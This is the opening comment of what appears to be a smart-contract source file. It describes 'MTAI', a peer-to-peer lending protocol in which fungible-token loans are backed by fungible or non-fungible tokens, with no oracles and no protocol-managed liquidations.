/*
MTAI is a peer-to-peer AI lending protocol designed for long-term mortgage-like loans of digital assets,
backed by other digital assets.
Borrowers can receive a fixed-duration loan of fungible tokens backed by fungible or non-fungible tokens,
while lenders can earn interest by granting these loans.
The protocol is trustless, immutable, operates without the need for oracles,
and without protocol-managed liquidations.
